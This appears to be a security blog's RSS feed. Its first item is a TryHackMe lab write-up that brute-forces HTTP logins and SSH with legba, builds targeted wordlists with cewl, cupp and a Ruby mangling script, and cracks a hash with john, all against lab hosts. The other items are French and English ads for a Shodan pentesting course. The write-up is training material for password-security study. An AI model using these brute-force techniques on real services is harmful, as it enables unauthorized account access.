<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Rawsec</title>
    <link>https://blog.raw.pm/</link>
    <description>Security is everywhere</description>
    <copyright>All rights reserved 2026, Alexandre ZANNI</copyright>
    <lastBuildDate>Tue, 14 Jul 2026 22:36:16 GMT</lastBuildDate>
    <generator>Hexo</generator>
    <atom:link href="https://blog.raw.pm/rss.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>Checkmate - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Checkmate-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Checkmate</li>
<li><]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/ssh/">ssh</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/password/">password</category>
      <category domain="https://blog.raw.pm/tags/wordlist/">wordlist</category>
      <pubDate>Wed, 15 Jul 2026 00:30:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Checkmate</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/checkmate">tryhackme.com</a></li><li><strong>Difficulty:</strong> Easy</li><li><strong>Description</strong>: Exploit weak password practices across Marco’s internal systems to achieve full compromise.</li></ul><p><img src="/images/TryHackMe/checkmate.png" alt="Checkmate"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> legba</span><span style="color:#98C379"> cewl</span><span style="color:#98C379"> cupp</span><span style="color:#98C379"> john</span><span style="color:#98C379"> ruby</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart3254" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart3254').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        4,        2,        0,        4,        4,        2      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Context">Context<a class="header-anchor" href="#Context">#</a></h2><blockquote><p>Marco Bianchi, a systems administrator, recently deployed several internal services, including a console, employee portal, social platform, and access to critical infrastructure. Due to tight deadlines and operational pressure, Marco reused weak, predictable, and pattern-based passwords across multiple systems.</p><p>Your objective is to conduct a password security assessment to identify weaknesses in Marco’s authentication practices.</p><p>Start by accessing the main application at <a href="http://10.128.131.76:5000">http://10.128.131.76:5000</a>. From there, you will be guided through each stage of the challenge, uncovering and exploiting weaknesses in Marco’s password usage.</p></blockquote><h2 id="Level-1">Level 1<a class="header-anchor" href="#Level-1">#</a></h2><blockquote><p>Marco deployed a firewall at firewall.thm:5001 but kept default credentials.</p></blockquote><p>On <a href="http://10.128.131.76:5001/">http://10.128.131.76:5001/</a> there is a FirewallOS authentication page.</p><p>Trying to find teh default password by hand is tedious, let's use <code>legba</code> for that.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ legba http \</span></span><span class="line"><span>  -U 'admin' \</span></span><span class="line"><span>  -P /usr/share/wordlists/passwords/rockyou.txt \</span></span><span class="line"><span>  -T http://10.128.131.76:5001/login \</span></span><span class="line"><span>  --http-method POST \</span></span><span class="line"><span>  --http-success '!contains(body, "Invalid credentials")' \</span></span><span class="line"><span>  --http-payload 'username={USERNAME}&#x26;password={PASSWORD}' \</span></span><span class="line"><span>  --single-match \</span></span><span class="line"><span>  -Q</span></span><span class="line"><span>legba v1.3.0</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] target: http://10.128.131.76:5001/login</span></span><span class="line"><span>[INFO ] validating http success condition:  ! contains  ,   body  "Invalid credentials"</span></span><span class="line"><span>[WARN ] http://10.128.131.76:5001/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }</span></span><span class="line"><span>[WARN ] http://10.128.131.76:5001/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }</span></span><span class="line"><span>[INFO ] username -> string 'admin'</span></span><span class="line"><span>[INFO ] password -> wordlist /usr/share/wordlists/passwords/rockyou.txt</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] [2026-07-12 21:16:43] (http) &#x3C;http://10.128.131.76:5001/login> username=admin password=EDITED</span></span><span class="line"><span>[INFO ] runtime 2.857867428s</span></span></code></pre></div></div></figure><h2 id="Level-2">Level 2<a class="header-anchor" href="#Level-2">#</a></h2><blockquote><p>Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.</p></blockquote><p>On <a href="http://10.128.131.76:5002/">http://10.128.131.76:5002/</a>, we can use <code>cewl</code> to create a wordlist based on the words on the webpage.</p><figure class="shiki bash"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">cewl</span><span style="color:#D19A66"> -d</span><span style="color:#D19A66"> 2</span><span style="color:#D19A66"> -m</span><span style="color:#D19A66"> 3</span><span style="color:#D19A66"> --lowercase</span><span style="color:#D19A66"> -w</span><span style="color:#ABB2BF"> $(</span><span style="color:#56B6C2">pwd</span><span style="color:#ABB2BF">)</span><span style="color:#98C379">/cewl_words.txt</span><span style="color:#98C379"> http://10.128.131.76:5002/</span></span></code></pre></div></div></figure><p>The we can use <code>legba</code> again.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ legba http \</span></span><span class="line"><span>  -U 'marco' \</span></span><span class="line"><span>  -P cewl_words.txt \</span></span><span class="line"><span>  -T http://10.128.131.76:5002/login \</span></span><span class="line"><span>  --http-method POST \</span></span><span class="line"><span>  --http-success '!contains(body, "Invalid credentials")' \</span></span><span class="line"><span>  --http-payload 'username={USERNAME}&#x26;password={PASSWORD}' \</span></span><span class="line"><span>  --single-match \</span></span><span class="line"><span>  -Q</span></span><span class="line"><span>legba v1.3.0</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] target: http://10.128.131.76:5002/login</span></span><span class="line"><span>[INFO ] validating http success condition:  ! contains  ,   body  "Invalid credentials"</span></span><span class="line"><span>[WARN ] http://10.128.131.76:5002/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }</span></span><span class="line"><span>[WARN ] http://10.128.131.76:5002/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }</span></span><span class="line"><span>[INFO ] username -> string 'marco'</span></span><span class="line"><span>[INFO ] password -> wordlist cewl_words.txt</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] [2026-07-14 20:47:27] (http) &#x3C;http://10.128.131.76:5002/login> username=marco password=EDITED</span></span><span class="line"><span>[INFO ] runtime 1.001801332s</span></span></code></pre></div></div></figure><h2 id="Level-3">Level 3<a class="header-anchor" href="#Level-3">#</a></h2><blockquote><p>Navigate to social.thm:5003 and derive Marco's password from personal info.</p></blockquote><p>Let's retrieve Marco personnal data on the previous app.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>marco</span></span><span class="line"><span>bianchi</span></span><span class="line"><span>it</span></span><span class="line"><span>operations</span></span><span class="line"><span>marky</span></span><span class="line"><span>14021995</span></span></code></pre></div></div></figure><p>Then let's use <code>cupp</code> to create a password lsit based on his profile.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ cupp -i</span></span><span class="line"><span>[…]</span></span><span class="line"><span>> First Name: marco</span></span><span class="line"><span>> Surname: bianchi</span></span><span class="line"><span>> Nickname: marky</span></span><span class="line"><span>> Birthdate (DDMMYYYY): 14021995</span></span><span class="line"><span>[…]</span></span><span class="line"><span>> Do you want to add some key words about the victim? Y/[N]: Y</span></span><span class="line"><span>> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: it,operations</span></span><span class="line"><span>> Do you want to add special chars at the end of words? Y/[N]:</span></span><span class="line"><span>> Do you want to add some random numbers at the end of words? Y/[N]:Y</span></span><span class="line"><span>> Leet mode? (i.e. leet = 1337) Y/[N]: N</span></span><span class="line"><span></span></span><span class="line"><span>[+] Now making a dictionary...</span></span><span class="line"><span>[+] Sorting list and removing duplicates...</span></span><span class="line"><span>[+] Saving dictionary to marco.txt, counting 4630 words.</span></span><span class="line"><span>> Hyperspeed Print? (Y/n) :</span></span><span class="line"><span>[+] Now load your pistolero with marco.txt and shoot! Good luck!</span></span></code></pre></div></div></figure><p>We're still using <code>legba</code> for the brute-force.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ legba http \</span></span><span class="line"><span>  -U 'marco' \</span></span><span class="line"><span>  -P marco.txt \</span></span><span class="line"><span>  -T http://10.128.131.76:5003/login \</span></span><span class="line"><span>  --http-method POST \</span></span><span class="line"><span>  --http-success '!contains(body, "Invalid credentials")' \</span></span><span class="line"><span>  --http-payload 'username={USERNAME}&#x26;password={PASSWORD}' \</span></span><span class="line"><span>  --single-match \</span></span><span class="line"><span>  -Q</span></span><span class="line"><span>legba v1.3.0</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] target: http://10.128.131.76:5003/login</span></span><span class="line"><span>[INFO ] validating http success condition:  ! contains  ,   body  "Invalid credentials"</span></span><span class="line"><span>[WARN ] http://10.128.131.76:5003/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }</span></span><span class="line"><span>[WARN ] http://10.128.131.76:5003/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }</span></span><span class="line"><span>[INFO ] username -> string 'marco'</span></span><span class="line"><span>[INFO ] password -> wordlist marco.txt</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] [2026-07-14 21:05:52] (http) &#x3C;http://10.128.131.76:5003/login> username=marco password=Bianchi2495</span></span><span class="line"><span>[INFO ] runtime 1.872701179s</span></span></code></pre></div></div></figure><h2 id="Level-4">Level 4<a class="header-anchor" href="#Level-4">#</a></h2><blockquote><p>On social.thm:5003, Marco recently uploaded a new profile picture. For privacy and storage consistency, the platform automatically renames uploaded files to the SHA256 hash of the original filename and saves them in the format (SHA256).png. Your task is to identify the original filename of Marco’s uploaded profile picture. Submit only the filename to proceed.</p></blockquote><p>The image name <code>d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b.png</code>, so it's the sha256 of the filname.</p><p>Let's try to brute-force the filename using a simple dictionary.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ john image.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt --fork=4 --format=raw-sha256</span></span><span class="line"><span>Using default input encoding: UTF-8</span></span><span class="line"><span>Loaded 1 password hash (Raw-SHA256 [SHA256 128/128 AVX 4x])</span></span><span class="line"><span>Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster</span></span><span class="line"><span>Node numbers 1-4 of 4 (fork)</span></span><span class="line"><span>Press 'q' or Ctrl-C to abort, almost any other key for status</span></span><span class="line"><span>EDITED           (?)</span></span><span class="line"><span>4 1g 0:00:00:00 DONE (2026-07-14 21:15) 1.515g/s 387.8p/s 387.8c/s 387.8C/s password..bethany</span></span><span class="line"><span>1 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s  benzbenz.abygurl69</span></span><span class="line"><span>Waiting for 3 children to terminate</span></span><span class="line"><span>2 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s  god143.a6_123</span></span><span class="line"><span>3 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s  fabian..*7¡Vamos!</span></span><span class="line"><span>Session completed</span></span></code></pre></div></div></figure><h2 id="Level-5">Level 5<a class="header-anchor" href="#Level-5">#</a></h2><blockquote><p>Marco has revealed his password pattern on social.thm:5003, using predictable rules based on keywords and formatting. Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.</p></blockquote><p>Marco tips are:</p><blockquote><p>My tip for strong passsord: I take a company keyword, capitalize it, then append the year like 2024 or any other number and an exclamation mark.</p></blockquote><p>We can re-use <code>cewl_words.txt</code> as base wordlist.</p><p>It's a bit tedious doing this rules with just one <code>hashcat</code> or <code>john</code> command because they don't like to mix rules and masks. It's quicker to just do it in Ruby.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic">#!/usr/bin/env ruby</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">input_file</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "cewl_words.txt"</span></span><span class="line"><span style="color:#E06C75">output_file</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "cewl_words_marco.txt"</span></span><span class="line"></span><span class="line"><span style="color:#E5C07B">File</span><span style="color:#ABB2BF">.</span><span style="color:#56B6C2">open</span><span style="color:#ABB2BF">(input_file, </span><span style="color:#98C379">"r"</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">do</span><span style="color:#ABB2BF"> |</span><span style="color:#E06C75">in_file</span><span style="color:#ABB2BF">|</span></span><span class="line"><span style="color:#E5C07B">  File</span><span style="color:#ABB2BF">.</span><span style="color:#56B6C2">open</span><span style="color:#ABB2BF">(output_file, </span><span style="color:#98C379">"w"</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">do</span><span style="color:#ABB2BF"> |</span><span style="color:#E06C75">out_file</span><span style="color:#ABB2BF">|</span></span><span class="line"><span style="color:#ABB2BF">    in_file.</span><span style="color:#61AFEF">each_line</span><span style="color:#C678DD"> do</span><span style="color:#ABB2BF"> |</span><span style="color:#E06C75">word</span><span style="color:#ABB2BF">|</span></span><span class="line"><span style="color:#E06C75">      word</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> word.</span><span style="color:#61AFEF">strip</span></span><span class="line"><span style="color:#C678DD">      next</span><span style="color:#C678DD"> if</span><span style="color:#ABB2BF"> word.</span><span style="color:#61AFEF">empty?</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">      (</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">..</span><span style="color:#D19A66">99</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">each</span><span style="color:#C678DD"> do</span><span style="color:#ABB2BF"> |</span><span style="color:#E06C75">year</span><span style="color:#ABB2BF">|</span></span><span class="line"><span style="color:#ABB2BF">        out_file.</span><span style="color:#56B6C2">puts</span><span style="color:#98C379"> "</span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">word.</span><span style="color:#61AFEF">capitalize</span><span style="color:#C678DD">}</span><span style="color:#98C379">20</span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">year.</span><span style="color:#61AFEF">to_s</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">rjust</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">2</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">'0'</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">}</span><span style="color:#98C379">!"</span></span><span class="line"><span style="color:#C678DD">      end</span></span><span class="line"><span style="color:#C678DD">    end</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"><span style="color:#C678DD">end</span></span></code></pre></div></div></figure><figure class="shiki bash"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ruby</span><span style="color:#98C379"> mangler.rb</span></span></code></pre></div></div></figure><p><code>legba</code> kept crashing for ssh, in fact is was timeout issue but <code>legba</code> is very aggressive with that and does not try to auto-calibrate, so I had to set a high ammount (5 seconds) to let the server answer before <code>legba</code> stopped waiting.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ legba ssh \</span></span><span class="line"><span>  -U 'marco' \</span></span><span class="line"><span>  -P cewl_words_marco.txt \</span></span><span class="line"><span>  -T 10.128.131.76:22 \</span></span><span class="line"><span>  --single-match \</span></span><span class="line"><span>  --ssh-auth-mode password \</span></span><span class="line"><span>  --timeout 5000 \</span></span><span class="line"><span>  -Q</span></span><span class="line"><span>legba v1.3.0</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] target: 10.128.131.76:22</span></span><span class="line"><span>[INFO ] username -> string 'marco'</span></span><span class="line"><span>[INFO ] password -> wordlist cewl_words_marco.txt</span></span><span class="line"><span>    </span></span><span class="line"><span>[INFO ] [2026-07-14 22:12:52] (ssh) &#x3C;10.128.131.76:22> username=marco password=EDITED</span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Nouveau cours sur le hacking avec Shodan sur Lesso</title>
      <link>https://blog.raw.pm/fr/cours-shodan/</link>
      <description>
        <![CDATA[<h1>🔍 Maîtrisez Shodan comme un Pro du Pentest et du Bug Bounty</h1>
<p>Vous êtes pentester, chasseur de bug ou passionné d’OSINT ? Vous av]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/shodan/">shodan</category>
      <category domain="https://blog.raw.pm/tags/osint/">osint</category>
      <category domain="https://blog.raw.pm/tags/pentest/">pentest</category>
      <pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>🔍 Maîtrisez Shodan comme un Pro du Pentest et du Bug Bounty</h1><p>Vous êtes pentester, chasseur de bug ou passionné d’OSINT ? Vous avez déjà entendu parler de Shodan, ce moteur de recherche pas comme les autres qui scrute l’ensemble des appareils connectés à Internet. Mais savez-vous vraiment exploiter sa puissance pour <strong>découvrir des failles critiques</strong>, <strong>cartographier des cibles</strong> ou <strong>automatiser vos reconnaissances</strong> ?</p><p>Ce cours n’est pas une simple énumération de fonctionnalités. C’est un <strong>guide de combat</strong> conçu pour transformer Shodan en votre allié le plus redoutable. Que vous cherchiez à renforcer vos tests d’intrusion ou à dénicher des vulnérabilités pour un bug bounty, chaque module vous apporte une compétence directement actionnable.</p><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="🎯-Ce-que-vous-allez-apprendre">🎯 Ce que vous allez apprendre<a class="header-anchor" href="#🎯-Ce-que-vous-allez-apprendre">#</a></h2><ul><li><strong>Les fondamentaux</strong> – Comprendre Shodan, ses clés API, ses crédits, et comment installer l’outil en ligne de commande pour gagner en efficacité.</li><li><strong>Les commandes essentielles</strong> – Rechercher, compter, télécharger et analyser des données comme un expert.</li><li><strong>L’interface web</strong> – Utiliser les cartes, les images, les statistiques, les rapports et les exploits pour contextualiser vos découvertes.</li><li><strong>Les outils spécialisés</strong> – Plongez dans le Developer Dashboard, le Network Monitor, et les requêtes communautaires pour ne rien laisser au hasard.</li><li><strong>L’intégration programmatique</strong> – Avec des bibliothèques en <strong>Python (shodan-python)</strong>, <strong>Ruby (shodanz)</strong> et <strong>Node.js (shodan-client)</strong>, vous pourrez automatiser vos workflows et les intégrer à vos propres outils.</li><li><strong>Les filtres de recherche avancés</strong> – Maîtrisez les <em>banners</em>, les propriétés des hôtes, et les <em>dorks</em> qui feront la différence entre une recherche basique et une chasse aux trésors.</li><li><strong>Les outils externes</strong> – Découvrez des projets qui tirent parti de Shodan et explorez des alternatives pour élargir votre panorama OSINT.</li></ul><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="🚀-Pourquoi-ce-cours-est-fait-pour-vous">🚀 Pourquoi ce cours est fait pour vous<a class="header-anchor" href="#🚀-Pourquoi-ce-cours-est-fait-pour-vous">#</a></h2><ul><li><strong>100 % pratique</strong> – Chaque leçon est illustrée par des exemples concrets, des snippets de code, et des cas d’usage réels.</li><li><strong>À jour avec l’écosystème</strong> – Nous couvrons les versions récentes de l’API, les bibliothèques et les plugins navigateurs.</li><li><strong>Gain de temps immédiat</strong> – Plus besoin de fouiller la documentation pendant des heures : tout est synthétisé, testé et expliqué clairement.</li><li><strong>Adapté à tous les niveaux</strong> – Débutant avec Shodan ? Les premières leçons vous mettent à niveau. Expert ? Les sections avancées vous feront découvrir des astuces que vous ignoriez.</li></ul><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="💡-Un-apercu-du-programme">💡 Un aperçu du programme<a class="header-anchor" href="#💡-Un-apercu-du-programme">#</a></h2><ol><li><strong>Les bases</strong> (Leçons 1 à 4) : Installation, CLI, première recherche.</li><li><strong>Fonctionnalités clés</strong> (Leçons 5 à 15) : Statistiques, téléchargement, rapports, cartes, exploits, partage, etc.</li><li><strong>Automatisation</strong> (Leçons 16 à 19) : Utilisation des API et bibliothèques dans vos langages favoris.</li><li><strong>Maîtrise des filtres</strong> (Leçons 21 à 23) : <em>Banners</em>, propriétés, dorks – le langage secret de Shodan.</li><li><strong>Écosystème &amp; bonus</strong> (Leçons 20, 24, 25) : Plugins, outils complémentaires, alternatives et usages avancés.</li></ol><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="🛡️-Pour-qui">🛡️ Pour qui ?<a class="header-anchor" href="#🛡️-Pour-qui">#</a></h2><ul><li><strong>Pentesters</strong> – Élargissez votre surface d’attaque et peaufinez vos rapports.</li><li><strong>Bug Bounty Hunters</strong> – Trouvez des cibles mal configurées avant tout le monde.</li><li><strong>Chercheurs en sécurité</strong> – Alimentez vos investigations OSINT avec des données inédites.</li><li><strong>Développeurs</strong> – Intégrez Shodan dans vos propres applications de monitoring.</li></ul><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="✨-Ne-restez-pas-en-surface">✨ Ne restez pas en surface<a class="header-anchor" href="#✨-Ne-restez-pas-en-surface">#</a></h2><p>Shodan est bien plus qu’un moteur de recherche. C’est une <strong>plateforme de renseignement</strong> qui révèle la face cachée d’Internet. Avec ce cours, vous ne vous contenterez plus de survoler les résultats : vous saurez <strong>interpréter chaque banner</strong>, <strong>affiner chaque requête</strong> et <strong>automatiser chaque étape</strong> de votre reconnaissance.</p><p>Alors, prêt à passer à la vitesse supérieure ?</p><p>👉 <a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1"><strong>Obtenez le cours dès maintenant</strong></a> et faites de Shodan votre arme secrète pour vos missions de pentest et de bug bounty.</p><hr><h2 id="Retours-d-experience">Retours d'expérience<a class="header-anchor" href="#Retours-d-experience">#</a></h2><p>Un sujet n'est pas traité ? Un contenu n'est plus à jour ? Une erreur s'est glissée ?Pas de problème, contactez-moi sur <a href="https://twitter.com/noraj_rawsec">Twitter / X</a> ou <a href="noraj_">Discord</a>, je mettrai à jour le cours.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>New course about hacking with Shodan on Lesso</title>
      <link>https://blog.raw.pm/en/shodan-course/</link>
      <description>
        <![CDATA[<h1>🔍 Master Shodan Like a Pentest &amp; Bug Bounty Pro</h1>
<p>Are you a pentester, bug bounty hunter, or OSINT enthusiast? You’ve probabl]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/shodan/">shodan</category>
      <category domain="https://blog.raw.pm/tags/osint/">osint</category>
      <category domain="https://blog.raw.pm/tags/pentest/">pentest</category>
      <pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>🔍 Master Shodan Like a Pentest &amp; Bug Bounty Pro</h1><p>Are you a pentester, bug bounty hunter, or OSINT enthusiast? You’ve probably heard of Shodan—the search engine that doesn’t crawl websites, but scans the entire internet for connected devices. But do you truly know how to harness its power to <strong>uncover critical vulnerabilities</strong>, <strong>map attack surfaces</strong>, and <strong>automate your recon</strong> at scale?</p><p>This isn’t just another feature list. This is a <strong>field manual</strong> designed to turn Shodan into your deadliest ally. Whether you're sharpening your penetration testing skills or hunting for high-severity bugs, each module delivers a directly actionable skill that will set you apart.</p><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="🎯-What-You’ll-Learn">🎯 What You’ll Learn<a class="header-anchor" href="#🎯-What-You’ll-Learn">#</a></h2><ul><li><strong>The Foundations</strong> – Understand Shodan, its API keys, credit system, and install the command-line tool for lightning-fast efficiency.</li><li><strong>Essential Commands</strong> – Search, count, download, and parse data like a seasoned operator.</li><li><strong>The Web Interface</strong> – Leverage maps, images, statistics, report generation, and the exploit database to give context to your discoveries.</li><li><strong>Specialized Tools</strong> – Dive into the Developer Dashboard, Network Monitor, and community-shared queries to leave no stone unturned.</li><li><strong>Programmatic Integration</strong> – Automate your workflows using the official libraries for <strong>Python (shodan-python)</strong>, <strong>Ruby (shodanz)</strong>, and <strong>Node.js (shodan-client)</strong>. Build your own tools on top of Shodan.</li><li><strong>Advanced Filters</strong> – Master <em>banners</em>, host properties, and <em>dorks</em> that make the difference between a basic search and a treasure hunt.</li><li><strong>The Ecosystem</strong> – Discover third-party tools that leverage Shodan, browser plugins, and even explore alternatives to broaden your OSINT perspective.</li></ul><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="🚀-Why-This-Course-Is-For-You">🚀 Why This Course Is For You<a class="header-anchor" href="#🚀-Why-This-Course-Is-For-You">#</a></h2><ul><li><strong>100% Practical</strong> – Every lesson is packed with concrete examples, real-world snippets, and actual use cases you’ll encounter in the field.</li><li><strong>Up-to-Date</strong> – We cover the latest API versions, library updates, and modern browser extensions.</li><li><strong>Instant Time-Saver</strong> – Stop wasting hours digging through scattered documentation. Everything is synthesized, tested, and clearly explained.</li><li><strong>All Skill Levels Welcome</strong> – New to Shodan? The first lessons will get you up to speed. An expert? The advanced sections will reveal tricks you probably didn't know.</li></ul><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="💡-Program-Sneak-Peek">💡 Program Sneak Peek<a class="header-anchor" href="#💡-Program-Sneak-Peek">#</a></h2><ol><li><strong>The Essentials</strong> (Lessons 1–4) : Installation, CLI basics, and your first search.</li><li><strong>Core Features</strong> (Lessons 5–15) : Statistics, downloads, reports, maps, exploits, sharing, and more.</li><li><strong>Automation</strong> (Lessons 16–19) : Using REST APIs and native libraries in your favorite languages.</li><li><strong>Filter Mastery</strong> (Lessons 21–23) : <em>Banners</em>, properties, and dorks—the secret language of Shodan.</li><li><strong>Ecosystem &amp; Bonuses</strong> (Lessons 20, 24, 25) : Plugins, complementary tools, advanced use cases, and alternatives.</li></ol><p><a href="https://www.lesso.app/course/shodan-for-penetration-testers-and-bug-bounty-hunters-5dd2f1">Shodan for Penetration Testers and Bug Bounty Hunters</a> (Lesso)</p><hr><h2 id="🛡️-Who-Is-This-For">🛡️ Who Is This For?<a class="header-anchor" 